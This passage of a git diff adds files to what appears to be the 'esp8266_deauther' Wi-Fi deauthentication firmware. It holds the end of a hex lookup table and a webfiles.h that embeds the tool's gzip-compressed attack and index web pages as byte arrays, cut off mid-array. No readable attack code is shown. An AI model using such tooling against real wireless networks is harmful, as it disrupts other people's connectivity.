+0xFC, 0x0A, 0x81, 0x1c, 0x01, +0xFC, 0x0F, 0x4B, 0xeb, 0x0f, +0xFC, 0x0F, 0xE6, 0xd3, 0x03, +0xFC, 0x10, 0xBD, 0xf3, 0x1f, +0xFC, 0x10, 0xC6, 0x56, 0x2b, +0xFC, 0x11, 0x86, 0x75, 0x3a, +0xFC, 0x13, 0x49, 0x76, 0x3a, +0xFC, 0x15, 0xB4, 0xc9, 0x01, +0xFC, 0x16, 0x07, 0x77, 0x3a, +0xFC, 0x17, 0x94, 0x78, 0x3a, +0xFC, 0x19, 0x10, 0x4f, 0x02, +0xFC, 0x19, 0xD0, 0x79, 0x3a, +0xFC, 0x1A, 0x11, 0x5d, 0x28, +0xFC, 0x1B, 0xFF, 0x7a, 0x3a, +0xFC, 0x1D, 0x59, 0x7b, 0x3a, +0xFC, 0x1D, 0x84, 0x7c, 0x3a, +0xFC, 0x1E, 0x16, 0x7d, 0x3a, +0xFC, 0x1F, 0x19, 0x4f, 0x02, +0xFC, 0x1F, 0xC0, 0x7e, 0x3a, +0xFC, 0x22, 0x9C, 0x7f, 0x3a, +0xFC, 0x23, 0x25, 0x80, 0x3a, +0xFC, 0x25, 0x3F, 0x51, 0x03, +0xFC, 0x27, 0xA2, 0x81, 0x3a, +0xFC, 0x2A, 0x54, 0x2d, 0x26, +0xFC, 0x2A, 0x9C, 0x51, 0x03, +0xFC, 0x2D, 0x5E, 0xe1, 0x12, +0xFC, 0x2E, 0x2D, 0x82, 0x3a, +0xFC, 0x2F, 0x40, 0xb8, 0x30, +0xFC, 0x2F, 0x6B, 0x83, 0x3a, +0xFC, 0x2F, 0xAA, 0x4f, 0x12, +0xFC, 0x2F, 0xEF, 0x84, 0x3a, +0xFC, 0x32, 0x88, 0x85, 0x3a, +0xFC, 0x33, 0x5F, 0x86, 0x3a, +0xFC, 0x35, 0x98, 0x87, 0x3a, +0xFC, 0x35, 0xE6, 0x9c, 0x08, +0xFC, 0x37, 0x2B, 0x19, 0x1d, +0xFC, 0x3C, 0xE9, 0x88, 0x3a, +0xFC, 0x3D, 0x93, 0x06, 0x1d, +0xFC, 0x3F, 0x7C, 0xda, 0x14, +0xFC, 0x3F, 0xAB, 0x89, 0x3a, +0xFC, 0x3F, 0xDB, 0xc9, 0x01, +0xFC, 0x42, 0x03, 0x4f, 0x02, +0xFC, 0x44, 0x63, 0x0a, 0x01, +0xFC, 0x44, 0x99, 0x8a, 0x3a, +0xFC, 0x45, 0x5F, 0x8b, 0x3a, +0xFC, 0x45, 0x96, 0xe9, 0x16, +0xFC, 0x48, 0xEF, 0xda, 0x14, +0xFC, 0x4A, 0xE9, 0xe6, 0x17, +0xFC, 0x4B, 0x1C, 0x8c, 0x3a, +0xFC, 0x4B, 0xBC, 0xf7, 0x0e, +0xFC, 0x4D, 0x8C, 0xe9, 0x01, +0xFC, 0x4D, 0xD4, 0x0a, 0x01, +0xFC, 0x50, 0x90, 0x8d, 0x3a, +0xFC, 0x51, 0xA4, 0xb9, 0x00, +0xFC, 0x52, 0x8D, 0xc2, 0x12, +0xFC, 0x52, 0xCE, 0x8e, 0x3a, +0xFC, 0x53, 0x9E, 0x0e, 0x03, +0xFC, 0x55, 0xDC, 0x8f, 0x3a, +0xFC, 0x58, 0xFA, 0x69, 0x1d, +0xFC, 0x5A, 0x1D, 0x4a, 0x05, +0xFC, 0x5B, 0x24, 0x90, 0x3a, +0xFC, 0x5B, 0x26, 0x91, 0x3a, +0xFC, 0x5B, 0x39, 0x05, 0x00, +0xFC, 0x60, 0x18, 0x27, 0x07, +0xFC, 0x61, 0x98, 0xf2, 0x0b, +0xFC, 0x62, 0x6E, 0x33, 0x2b, +0xFC, 0x62, 0xB9, 0x93, 0x02, +0xFC, 0x64, 0x3A, 0x4f, 0x02, +0xFC, 0x64, 0xBA, 0x34, 0x24, +0xFC, 0x65, 0xDE, 0x96, 0x22, +0xFC, 0x68, 0x3E, 0x92, 0x3a, +0xFC, 0x69, 0x47, 0xeb, 0x0f, +0xFC, 0x6B, 0xF0, 0x4c, 0x37, +0xFC, 0x6C, 0x31, 0x93, 0x3a, +0xFC, 0x6D, 0xC0, 0x94, 0x3a, +0xFC, 0x6F, 0xB7, 0xb9, 0x00, +0xFC, 0x75, 0x16, 0xde, 0x28, +0xFC, 0x75, 0xE6, 0xb4, 0x16, +0xFC, 0x79, 0x0B, 0xab, 0x1b, +0xFC, 0x7C, 0x02, 0x4f, 0x2b, +0xFC, 0x7C, 0xE7, 0x95, 0x3a, +0xFC, 0x7F, 0x56, 0x96, 0x3a, +0xFC, 0x83, 0x29, 0x97, 0x3a, +0xFC, 0x83, 0x99, 0xc2, 0x03, +0xFC, 0x83, 0xC6, 0x98, 0x3a, +0xFC, 0x8B, 0x97, 0xe9, 0x01, +0xFC, 0x8E, 0x7E, 0xb9, 0x00, +0xFC, 0x8F, 0x90, 0x4f, 0x02, +0xFC, 0x8F, 0xC4, 0xe9, 0x03, +0xFC, 0x90, 0xFA, 0x5e, 0x08, +0xFC, 0x91, 0x14, 0xc2, 0x12, +0xFC, 0x92, 0x3B, 0x4f, 0x12, +0xFC, 0x94, 0x6C, 0x99, 0x3a, +0xFC, 0x94, 0xE3, 0xc2, 0x12, +0xFC, 0x99, 0x47, 0x05, 0x00, +0xFC, 0x9A, 0xFA, 0x9a, 0x3a, +0xFC, 0x9B, 0xC6, 0x80, 0x1d, +0xFC, 0x9D, 0xD8, 0xb3, 0x10, +0xFC, 0x9F, 0xAE, 0x9b, 0x3a, +0xFC, 0x9F, 0xE1, 0x9c, 0x3a, +0xFC, 0xA1, 0x3E, 0x4f, 0x02, +0xFC, 0xA1, 0x83, 0x96, 0x22, +0xFC, 0xA2, 0x2A, 0x9d, 0x3a, +0xFC, 0xA3, 0x86, 0xe9, 0x01, +0xFC, 0xA6, 0x21, 0x4f, 0x02, +0xFC, 0xA6, 0x67, 0x96, 0x22, +0xFC, 0xA6, 0xCD, 0x54, 0x1f, +0xFC, 0xA8, 0x41, 0xc2, 0x03, +0xFC, 0xA8, 0x9A, 0xdc, 0x18, +0xFC, 0xA9, 0xB0, 0x9e, 0x3a, +0xFC, 0xAA, 0x14, 0xf4, 0x0b, +0xFC, 0xAD, 0x0F, 0x9f, 0x3a, +0xFC, 0xAF, 0x6A, 0xa0, 0x3a, +0xFC, 0xAF, 0xAC, 0xa1, 0x3a, +0xFC, 0xB0, 0xC4, 0x0e, 0x03, +0xFC, 0xB4, 0xE6, 0xb7, 0x0f, +0xFC, 0xB5, 0x8A, 0xa2, 0x3a, +0xFC, 0xB6, 0x98, 0x34, 0x02, +0xFC, 0xB7, 0xF0, 0xa3, 0x3a, +0xFC, 0xBB, 0xA1, 0xe9, 0x01, +0xFC, 0xBC, 0x9C, 0xa4, 0x3a, +0xFC, 0xC2, 0x33, 0x65, 0x00, +0xFC, 0xC2, 0x3D, 0xd8, 0x03, +0xFC, 0xC2, 0xDE, 0xd4, 0x0c, +0xFC, 0xC7, 0x34, 0x4f, 0x02, +0xFC, 0xC8, 0x97, 0xe1, 0x12, +0xFC, 0xCA, 0xC4, 0xa5, 0x3a, +0xFC, 0xCC, 0xE4, 0xa6, 0x3a, +0xFC, 0xCF, 0x43, 0xa7, 0x3a, +0xFC, 0xCF, 0x62, 0x2f, 0x02, +0xFC, 0xD4, 0xF2, 0xa8, 0x3a, +0xFC, 0xD4, 0xF6, 0xa9, 0x3a, +0xFC, 0xD5, 0xD9, 0xe9, 0x01, +0xFC, 0xD6, 0xBD, 0xf0, 0x0b, +0xFC, 0xD7, 0x33, 0xcf, 0x09, +0xFC, 0xD8, 0x17, 0x93, 0x15, +0xFC, 0xD8, 0x48, 0x51, 0x03, +0xFC, 0xDB, 0x96, 0xaa, 0x3a, +0xFC, 0xDB, 0xB3, 0xd4, 0x0c, +0xFC, 0xDC, 0x4A, 0xab, 0x3a, +0xFC, 0xDD, 0x55, 0xe9, 0x01, +0xFC, 0xE1, 0x86, 0xac, 0x3a, +0xFC, 0xE1, 0x92, 0x0b, 0x1d, +0xFC, 0xE1, 0xD9, 0xad, 0x3a, +0xFC, 0xE1, 0xFB, 0xae, 0x3a, +0xFC, 0xE2, 0x3F, 0xaf, 0x3a, +0xFC, 0xE3, 0x3C, 0xda, 0x14, +0xFC, 0xE5, 0x57, 0x4f, 0x12, +0xFC, 0xE6, 0x6A, 0xf6, 0x09, +0xFC, 0xE8, 0x92, 0x10, 0x0e, +0xFC, 0xE9, 0x98, 0x51, 0x03, +0xFC, 0xEC, 0xDA, 0x84, 0x12, +0xFC, 0xED, 0xB9, 0xb0, 0x3a, +0xFC, 0xEE, 0xE6, 0xb1, 0x3a, +0xFC, 0xF1, 0x36, 0x4f, 0x02, +0xFC, 0xF1, 0x52, 0x34, 0x01, +0xFC, 0xF1, 0xCD, 0xb2, 0x3a, +0xFC, 0xF5, 0x28, 0xc6, 0x10, +0xFC, 0xF6, 0x47, 0x54, 0x1f, +0xFC, 0xF8, 0xAE, 0x80, 0x10, +0xFC, 0xF8, 0xB7, 0xb3, 0x3a, +0xFC, 0xFA, 0xF7, 0x0e, 0x03, +0xFC, 0xFB, 0xFB, 0x05, 0x00, +0xFC, 0xFC, 0x48, 0x51, 0x03, +0xFC, 0xFE, 0x77, 0xb4, 0x3a, +0xFC, 0xFE, 0xC2, 0xd3, 0x1a, +0xFC, 0xFF, 0xAA, 0x57, 0x17 +#endif +}; +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/webfiles.h b/enp8266/esp8266_deauther-master/esp8266_deauther/webfiles.h new file mode 100755 index 0000000..1be80dd --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/webfiles.h @@ -0,0 +1,65 @@ +#ifndef webfiles_h +#define webfiles_h + +// comment that out if you want to save program memory and know how to upload the web files to the SPIFFS manually +#define USE_PROGMEM_WEB_FILES + +#ifdef USE_PROGMEM_WEB_FILES +const char attackhtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0xa5, 0x57, 0x6d, 0x6f, 0xdb, 0x36, 0x10, 0xfe, 0x2b, 0xac, 0xf7, 0xa1, 0x1d, 0x50, 0x5b, 0xb6, 0x0b, 0x14, 0x69, 0x61, 0x1b, 0xe8, 0xeb, 0x16, 0x6c, 0x58, 0x83, 0x25, 0x5b, 0xb1, 0x4f, 0x01, 0x25, 0x9d, 0x2d, 0xd6, 0x34, 0xa9, 0x92, 0x54, 0x3c, 0x03, 0xfb, 0xf1, 0x7b, 0x8e, 0xa4, 0x1c, 0xdb, 0x71, 0xd0, 0x61, 0x05, 0x02, 0x59, 0x22, 0x79, 0x77, 0xcf, 0x3d, 0xf7, 0xc6, 0xcc, 0x9e, 0xbc, 0xb7, 0x55, 0xd8, 0xb5, 0x24, 0x9a, 0xb0, 0xd1, 0x0b, 0x31, 0xdb, 0x50, 0x90, 0xa2, 0x6a, 0xa4, 0xf3, 0x14, 0xe6, 0x5d, 0x58, 0x0e, 0x2f, 0x44, 0xbf, 0x6a, 0xe4, 0x86, 0xe6, 0x77, 0x8a, 0xb6, 0xad, 0x75, 0x41, 0x88, 0xca, 0x9a, 0x40, 0x26, 0xcc, 0x07, 0x5b, 0x55, 0x87, 0x66, 0x5e, 0xd3, 0x9d, 0xaa, 0x68, 0x18, 0x3f, 0x9e, 0x0b, 0x65, 0x54, 0x50, 0x52, 0x0f, 0x7d, 0x25, 0x35, 0xcd, 0xc7, 0xa3, 0x8b, 0xe7, 0x62, 0x83, 0xb5, 0x0d, 0x96, 0x3a, 0x35, 0x38, 0xd2, 0x58, 0x93, 0xaf, 0x9c, 0x6a, 0x83, 0xb2, 0xe6, 0x40, 0xe9, 0x87, 0xeb, 0xab, 0x8b, 0xe9, 0xcb, 0x97, 0xe2, 0x3d, 0xc9, 0x2e, 0x34, 0xe4, 0x8e, 0x65, 0x78, 0xcd, 0xba, 0x83, 0xe3, 0xd7, 0xad, 0xac, 0xa8, 0xe9, 0x1a, 0x23, 0x86, 0xe2, 0x3a, 0xd0, 0x52, 0x1a, 0xf1, 0x8b, 0xa3, 0x8d, 0x3f, 0x15, 0x84, 0xaa, 0x0d, 0x0d, 0x2b, 0xab, 0x8f, 0xa4, 0x7f, 0x78, 0xf1, 0xf2, 0xc5, 0xab, 0x17, 0x1f, 0x06, 0xa2, 0xc0, 0xe1, 0xa0, 0x82, 0xa6, 0xc5, 0xa9, 0xfd, 0x59, 0x91, 0xd6, 0xc5, 0x4c, 0x2b, 0xb3, 0x16, 0x8e, 0xf4, 0xdc, 0x87, 0x9d, 0x26, 0xdf, 0x10, 0x81, 0x8c, 0xc6, 0xd1, 0x32, 0x2d, 0x8c, 0x2a, 0xef, 0x99, 0xb2, 0xe4, 0x94, 0xf0, 0xae, 0x9a, 0x0f, 0xbe, 0xf8, 0xc2, 0xab, 0x40, 0xa3, 0x2f, 0x7e, 0xb0, 0x98, 0x15, 0x69, 0xe7, 0xe1, 0x11, 0x19, 0x82, 0xac, 0xd6, 0xa7, 0x87, 0x4a, 0x5b, 0xef, 0x84, 0x35, 0xda, 0xca, 0x7a, 0x3e, 0xe0, 0xe7, 0xaf, 0xd2, 0xac, 0x9e, 0xfd, 0xc8, 0x6e, 0x19, 0x79, 0x87, 0xa7, 0xcc, 0xc6, 0x2b, 0x69, 0x46, 0x1c, 0x44, 0x21, 0x6a, 0x19, 0xe4, 0x30, 0x38, 0x69, 0xbc, 0x96, 0x81, 0xe2, 0x8e, 0x58, 0x5c, 0xe3, 0x39, 0x2b, 0xe4, 0x81, 0x80, 0x57, 0xb5, 0x7f, 0x44, 0x82, 0xb7, 0x20, 0x72, 0x7d, 0xf9, 0xde, 0x1f, 0xc9, 0x64, 0x88, 0x67, 0x85, 0xd2, 0x1e, 0xc4, 0xde, 0xa4, 0x97, 0x63, 0x63, 0x14, 0x82, 0x32, 0xab, 0xc7, 0xec, 0xe5, 0x5d, 0x98, 0xcc, 0x6f, 0xbd, 0x70, 0xa5, 0xa5, 0xf7, 0x73, 0xa7, 0x56, 0x4d, 0x4f, 0xb2, 0x32, 0x4b, 0x7b, 0x5e, 0x0b, 0xef, 0x88, 0xc5, 0x25, 0x9e, 0x49, 0xba, 0x48, 0xfc, 0xd4, 0xea, 0x2e, 0xab, 0xe1, 0x78, 0x4b, 0x65, 0xc8, 0x89, 0xa3, 0x65, 0x67, 0xb7, 0xe2, 0xe4, 0x9c, 0x1e, 0x4e, 0xa6, 0xfd, 0x9a, 0xaa, 0xe7, 0xe4, 0x5c, 0xcc, 0x97, 0xb8, 0xdb, 0xa8, 0x9a, 0x04, 0x22, 0x84, 0x3d, 0x9c, 0x68, 0x26, 0xfd, 0x32, 0xc9, 0x1a, 0x9a, 0xbf, 0xcd, 0x4a, 0x33, 0x81, 0x58, 0xcb, 0xe1, 0x6f, 0x11, 0x97, 0x0c, 0x81, 0xea, 0xb3, 0xee, 0xdc, 0xc6, 0x33, 0x8b, 0xcb, 0xdf, 0x3e, 0x7e, 0x7a, 0x8d, 0x9c, 0xc0, 0xc7, 0x62, 0x56, 0xba, 0x5e, 0xf6, 0xac, 0xa9, 0xdb, 0x44, 0x03, 0xea, 0xe0, 0x2f, 0xdb, 0xa1, 0xe8, 0x98, 0x39, 0x6d, 0x3d, 0x71, 0xb6, 0x1b, 0xaa, 0x62, 0x99, 0x6d, 0x1b, 0x32, 0xc2, 0x07, 0xe9, 0x98, 0x6b, 0x01, 0x4d, 0x49, 0xf4, 0x49, 0xd4, 0x9d, 0x04, 0x0d, 0x01, 0x52, 0xb0, 0xc2, 0x93, 0x86, 0x90, 0x90, 0x02, 0xa7, 0x57, 0xc8, 0xf4, 0x25, 0x88, 0x40, 0x3d, 0x88, 0x3a, 0xd6, 0x45, 0x16, 0x1c, 0x9d, 0x0a, 0x4a, 0xe1, 0xe5, 0x1d, 0x7e, 0x39, 0x83, 0xf6, 0x22, 0x25, 0x49, 0x60, 0x80, 0xb9, 0x5a, 0xb4, 0xce, 0x96, 0x74, 0x22, 0xfc, 0x4e, 0xab, 0x2a, 0x16, 0x16, 0x72, 0x9c, 0x2d, 0x23, 0xd8, 0x0e, 0xe5, 0x15, 0x45, 0x51, 0xdd, 0x6b, 0x18, 0x77, 0x70, 0x33, 0x1d, 0xcf, 0x64, 0x9c, 0x27, 0x22, 0x32, 0x57, 0x2b, 0x0f, 0x6e, 0xd5, 0x86, 0xa3, 0x7d, 0x09, 0x9e, 0x25, 0x28, 0xb0, 0x4b, 0x76, 0xb6, 0x33, 0xf4, 0x77, 0x0b, 0xa7, 0x80, 0x2f, 0x06, 0xf6, 0xb9, 0x68, 0x35, 0xf1, 0x76, 0x6f, 0x1b, 0x06, 0xb9, 0x5c, 0x23, 0x52, 0x6d, 0xed, 0x1a, 0x40, 0xd3, 0x22, 0x39, 0xf4, 0x34, 0xb1, 0xb1, 0x68, 0x6e, 0xf0, 0x89, 0xfd, 0x5a, 0x76, 0x8e, 0xbb, 0x03, 0xe8, 0x28, 0xbb, 0xd5, 0x0a, 0x6c, 0x8e, 0x8e, 0xc2, 0x54, 0x70, 0x9c, 0xcb, 0x2e, 0x04, 0xf8, 0x6d, 0x4d, 0xc5, 0x1e, 0xa6, 0x22, 0x46, 0x01, 0x1f, 0xe7, 0xf6, 0x89, 0x0b, 0x19, 0xca, 0x22, 0xfd, 0xce, 0x8a, 0xa4, 0x83, 0xbb, 0x93, 0x2c, 0x63, 0x17, 0x0a, 0xac, 0x1e, 0x01, 0xf8, 0x46, 0xba, 0x9d, 0x3b, 0x93, 0x22, 0x89, 0x33, 0x37, 0xf9, 0x05, 0x67, 0x16, 0x57, 0xeb, 0x80, 0x26, 0x75, 0xee, 0x78, 0xcc, 0x93, 0x5b, 0x1f, 0x6c, 0x8b, 0xf2, 0xbc, 0x79, 0xf3, 0xfb, 0x8d, 0x28, 0xc4, 0xf5, 0xcd, 0xa7, 0xab, 0x1e, 0x43, 0xbd, 0x48, 0x3d, 0x92, 0x5f, 0xb9, 0x58, 0x52, 0x66, 0xf4, 0xba, 0x17, 0xe3, 0xe3, 0x75, 0xb6, 0x83, 0xc5, 0x22, 0x2e, 0x2f, 0x7a, 0x6e, 0xf6, 0xdb, 0xe2, 0x9e, 0xa6, 0x68, 0xf7, 0xd9, 0x78, 0x4f, 0x54, 0xce, 0xc4, 0xb3, 0xf0, 0x32, 0xb2, 0x43, 0x9e, 0x32, 0xb6, 0xb7, 0x29, 0xe9, 0x32, 0x86, 0x94, 0x82, 0x0f, 0xb1, 0xa5, 0xf5, 0x47, 0xb1, 0xe5, 0xcc, 0x3d, 0xc5, 0x36, 0xf9, 0x4e, 0x6c, 0x57, 0xb1, 0x0a, 0x32, 0x84, 0x58, 0x12, 0x0f, 0x91, 0xc5, 0xe5, 0x47, 0x81, 0xa5, 0x3a, 0x3a, 0xc5, 0x35, 0xfd, 0x3e, 0x5c, 0xe8, 0x14, 0x9a, 0x73, 0x78, 0x8e, 0x16, 0xf8, 0x46, 0x6b, 0x91, 0x52, 0xe3, 0xf5, 0xc9, 0x16, 0x9b, 0x97, 0x5a, 0xb7, 0xeb, 0x0c, 0xb7, 0xe8, 0x33, 0xb3, 0x99, 0xe6, 0x84, 0x40, 0xab, 0x9b, 0x72, 0xab, 0x3b, 0xb5, 0x9e, 0x22, 0x7d, 0xcb, 0x73, 0x1f, 0x7d, 0xea, 0x1d, 0x37, 0x27, 0x1f, 0xeb, 0xeb, 0xa0, 0x43, 0xa1, 0x52, 0x3f, 0xab, 0x8f, 0x4a, 0xa4, 0x5b, 0x85, 0x17, 0xe5, 0x0e, 0xd5, 0x67, 0x6a, 0x6e, 0x57, 0x49, 0x1c, 0x73, 0x5b, 0x55, 0x32, 0x9e, 0x5d, 0x3a, 0x4c, 0x76, 0xcf, 0x2d, 0x43, 0x56, 0x38, 0xeb, 0x45, 0x6b, 0x95, 0x01, 0x2a, 0x2e, 0x5f, 0xf0, 0x82, 0x93, 0x7b, 0x35, 0x3b, 0x34, 0xa8, 0xc4, 0x09, 0xd5, 0xa9, 0x91, 0xdc, 0x34, 0xca, 0x0b, 0xfc, 0x61, 0xc2, 0xee, 0x20, 0x88, 0xc9, 0x07, 0x2f, 0xd0, 0xaa, 0x2a, 0xd9, 0xa1, 0x23, 0x48, 0xd4, 0x7f, 0x60, 0x30, 0xbd, 0x82, 0xda, 0x9a, 0xa7, 0x41, 0xf0, 0x16, 0x03, 0xbe, 0x18, 0x4f, 0x47, 0x93, 0xc9, 0x76, 0x38, 0x1d, 0x8f, 0x5f, 0x71, 0x3f, 0x35, 0xb5, 0x74, 0xdc, 0x3f, 0x24, 0xcb, 0x2c, 0xc9, 0x01, 0x03, 0xb7, 0xba, 0x90, 0x9d, 0x92, 0x2b, 0x4c, 0x1f, 0xcf, 0xbd, 0x04, 0x06, 0x0f, 0x9b, 0xdf, 0x55, 0xea, 0x3f, 0x11, 0x43, 0x0e, 0x99, 0x35, 0x94, 0x5b, 0xee, 0x13, 0xf1, 0x99, 0xdb, 0xf5, 0x3d, 0x74, 0xb1, 0xe9, 0x74, 0x50, 0xe8, 0x59, 0xa2, 0xaf, 0xe4, 0x68, 0xd1, 0x75, 0xdc, 0x63, 0x44, 0xad, 0xd8, 0x32, 0x3b, 0x8d, 0x5b, 0x1c, 0xf8, 0xd4, 0x89, 0x88, 0x14, 0x72, 0x06, 0x9d, 0x0c, 0xe3, 0x8a, 0x16, 0xc4, 0x56, 0x21, 0xbc, 0x5f, 0x3b, 0xa4, 0x0e, 0x1b, 0xde, 0xaa, 0x50, 0x35, 0x70, 0x3d, 0x6c, 0x09, 0xf6, 0x70, 0xc1, 0xe2, 0xa1, 0x71, 0xa8, 0x83, 0x21, 0x34, 0xe8, 0xeb, 0xc2, 0xd8, 0xb8, 0x51, 0x51, 0xea, 0xd3, 0x39, 0x6e, 0xfc, 0x11, 0x0d, 0x1c, 0x44, 0x21, 0x41, 0x83, 0xaa, 0x88, 0x12, 0x6e, 0x6f, 0xa9, 0xc4, 0xe5, 0x30, 0x90, 0x5b, 0xe2, 0xc2, 0x36, 0xca, 0x1d, 0x12, 0x79, 0x92, 0xea, 0xf4, 0xb1, 0x94, 0x49, 0x05, 0xd8, 0xa7, 0x4c, 0xae, 0xe9, 0x34, 0x14, 0x00, 0xcd, 0x11, 0x47, 0x24, 0x0e, 0x0d, 0x59, 0xdf, 0x11, 0xa6, 0x9a, 0x3f, 0x46, 0xe1, 0x47, 0xe2, 0xed, 0x2e, 0x5e, 0xf7, 0x94, 0xe9, 0x6c, 0xe7, 0xf5, 0x7d, 0x36, 0x95, 0xc7, 0xba, 0x6c, 0x17, 0xee, 0x99, 0x89, 0xbd, 0x5f, 0xab, 0x35, 0x45, 0xcf, 0x2b, 0x47, 0x92, 0x67, 0x86, 0xa1, 0x6d, 0xca, 0x4d, 0x03, 0xa6, 0xac, 0x5b, 0xfb, 0x14, 0x43, 0x9e, 0x7d, 0x7c, 0xd1, 0xf2, 0x18, 0x2d, 0x6a, 0xb9, 0x8b, 0x4c, 0xe4, 0x13, 0xf1, 0xea, 0xe9, 0x31, 0x77, 0xf8, 0x82, 0x10, 0x2f, 0x55, 0xa3, 0x83, 0xf1, 0x00, 0x8f, 0x63, 0x23, 0x78, 0xcc, 0xf7, 0x58, 0xe3, 0xbd, 0xeb, 0xa9, 0x65, 0x38, 0xfa, 0xda, 0x91, 0xcf, 0xae, 0x7b, 0x8e, 0x35, 0xea, 0xe3, 0x24, 0xd5, 0x99, 0x0c, 0xbf, 0x16, 0x0a, 0x23, 0x4f, 0xac, 0x8d, 0xdd, 0x9a, 0x3d, 0x1a, 0x44, 0xc1, 0x90, 0x74, 0xe5, 0x2e, 0xa1, 0xf8, 0x23, 0x26, 0xf3, 0x3e, 0x23, 0x59, 0x10, 0x8c, 0x2c, 0x39, 0xc7, 0xa3, 0x9b, 0x40, 0x02, 0x6e, 0x5c, 0xac, 0x41, 0x68, 0x64, 0xd2, 0x78, 0xf2, 0xf5, 0xde, 0xa7, 0x08, 0xc7, 0xec, 0x8c, 0x9e, 0x2b, 0x50, 0xa4, 0x4c, 0x74, 0x3f, 0x4e, 0x7f, 0xad, 0x7c, 0x48, 0x86, 0x2e, 0xc3, 0x53, 0x26, 0x81, 0x09, 0x45, 0x00, 0x58, 0x22, 0xb2, 0xec, 0x89, 0x27, 0xed, 0x4e, 0xa8, 0x0d, 0x82, 0x10, 0x3d, 0x39, 0x44, 0x83, 0xa4, 0x6c, 0xf8, 0xac, 0x43, 0x12, 0x6d, 0xf6, 0x8c, 0x1e, 0xf2, 0x97, 0xef, 0x68, 0x95, 0x6d, 0x77, 0x69, 0x96, 0xde, 0xdf, 0x3a, 0x07, 0x4d, 0x08, 0xad, 0x7f, 0x5d, 0x14, 0x2b, 0x68, 0xe9, 0xca, 0x51, 0x65, 0x37, 0x3c, 0x9d, 0xd3, 0x7f, 0x0a, 0x05, 0xf9, 0x96, 0xaf, 0xf8, 0xb7, 0xb9, 0xa1, 0xb8, 0x62, 0xab, 0xd6, 0x6a, 0x90, 0x8b, 0x6a, 0x7e, 0x5b, 0x6a, 0x89, 0x8b, 0xfe, 0xe2, 0x33, 0x16, 0xe3, 0x7d, 0xf2, 0x9f, 0xff, 0xa9, 0xf6, 0x81, 0xc6, 0x9f, 0x54, 0xf8, 0xb9, 0x2b, 0x59, 0x67, 0xf2, 0x82, 0x1f, 0x7f, 0x82, 0x60, 0x6e, 0x11, 0xd3, 0xd1, 0x38, 0x7e, 0xbf, 0xdb, 0x7b, 0xf3, 0xac, 0xfa, 0x51, 0x4c, 0xc7, 0x93, 0x8b, 0x93, 0x7f, 0x6b, 0x92, 0xe8, 0x7f, 0x01, 0xf4, 0xc0, 0xfe, 0xb9, 0x43, 0xf9, 0xc6, 0x9c, 0xee, 0xb4, 0x67, 0x7e, 0xfe, 0x05, 0xf0, 0x70, 0x7d, 0x3d, 0x28, 0x0e, 0x00, 0x00}; +const char indexhtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0x9d, 0x55, 0x61, 0x6f, 0xdb, 0x36, 0x10, 0xfd, 0x2b, 0x57, 0xed, 0xc3, 0x5a, 0xc0, 0xb6, 0x62, 0x07, 0x08, 0xd2, 0xc2, 0x32, 0xb0, 0x2d, 0x6e, 0x17, 0x74, 0x08, 0x8a, 0xa5, 0x5b, 0x3f, 0x16, 0x14, 0x79, 0xb6, 0x18, 0x53, 0xa4, 0x46, 0x1e, 0xad, 0x1a, 0xd8, 0x8f, 0xdf, 0x91, 0x92, 0x13, 0x3b, 0x2d, 0xb6, 0xa1, 0x40, 0x20, 0x47, 0xc7, 0xbb, 0x77, 0xef, 0xde, 0x1d, 0x4f, 0xcb, 0x17, 0x37, 0x4e, 0xd2, 0xa1, 0x43, 0x68, 0xa8, 0x35, 0x2b, 0x58, 0xb6, 0x48, 0x02, 0x64, 0x23, 0x7c, 0x40, 0xaa, 0x22, 0x6d, 0xa6, 0xd7, 0x70, 0xb4, 0x5a, 0xd1, 0x62, 0xb5, 0xd7, 0xd8, 0x77, 0xce, 0x13, 0x80, 0x74, 0x96, 0xd0, 0x52, 0x55, 0xf4, 0x5a, 0x51, 0x53, 0x29, 0xdc, 0x6b, 0x89, 0xd3, 0xfc, 0x32, 0x01, 0x6d, 0x35, 0x69, 0x61, 0xa6, 0x41, 0x0a, 0x83, 0xd5, 0xc5, 0xec, 0x7a, 0x02, 0x2d, 0xdb, 0x5a, 0x36, 0x45, 0x5d, 0x9c, 0x21, 0x2a, 0x0c, 0xd2, 0xeb, 0x8e, 0xb4, 0xb3, 0x27, 0xa0, 0xeb, 0xfb, 0x0f, 0xd7, 0x8b, 0xab, 0x2b, 0xb8, 0x41, 0x11, 0xa9, 0x41, 0x7f, 0x1e, 0x93, 0x6c, 0xce, 0x9f, 0xb8, 0xdf, 0x77, 0x42, 0x62, 0x13, 0x1b, 0x0b, 0x53, 0xb8, 0x27, 0xdc, 0x08, 0x0b, 0xef, 0x3d, 0xb6, 0xe1, 0x79, 0x20, 0x43, 0xb5, 0x38, 0x95, 0xce, 0x9c, 0x45, 0xff, 0x70, 0x79, 0x75, 0xf9, 0xfa, 0x72, 0x5d, 0x40, 0xc9, 0xce, 0xa4, 0xc9, 0xe0, 0xea, 0x79, 0xfe, 0x65, 0x39, 0xd8, 0x61, 0x69, 0xb4, 0xdd, 0x81, 0x47, 0x53, 0x05, 0x3a, 0x18, 0x0c, 0x0d, 0x22, 0x8b, 0xd1, 0x78, 0xdc, 0x0c, 0x86, 0x99, 0x0c, 0x21, 0x49, 0x36, 0x14, 0x05, 0xc1, 0xcb, 0xaa, 0x78, 0x08, 0x65, 0xd0, 0x84, 0xb3, 0x87, 0x50, 0xac, 0x96, 0xe5, 0x70, 0xc2, 0x2e, 0xb5, 0x53, 0x07, 0x70, 0xd6, 0x38, 0xa1, 0xaa, 0x22, 0x3d, 0x7f, 0x13, 0x76, 0xfb, 0xf2, 0x55, 0x62, 0xac, 0xf4, 0x1e, 0xa4, 0x11, 0x21, 0x54, 0x89, 0xa4, 0xd0, 0x16, 0x3d, 0x9c, 0x99, 0xbd, 0xeb, 0xe1, 0x99, 0x9f, 0x99, 0xce, 0x17, 0x47, 0x9b, 0x56, 0x15, 0x7a, 0x9f, 0x8b, 0xcc, 0xa7, 0x8d, 0x56, 0x08, 0x9c, 0x9b, 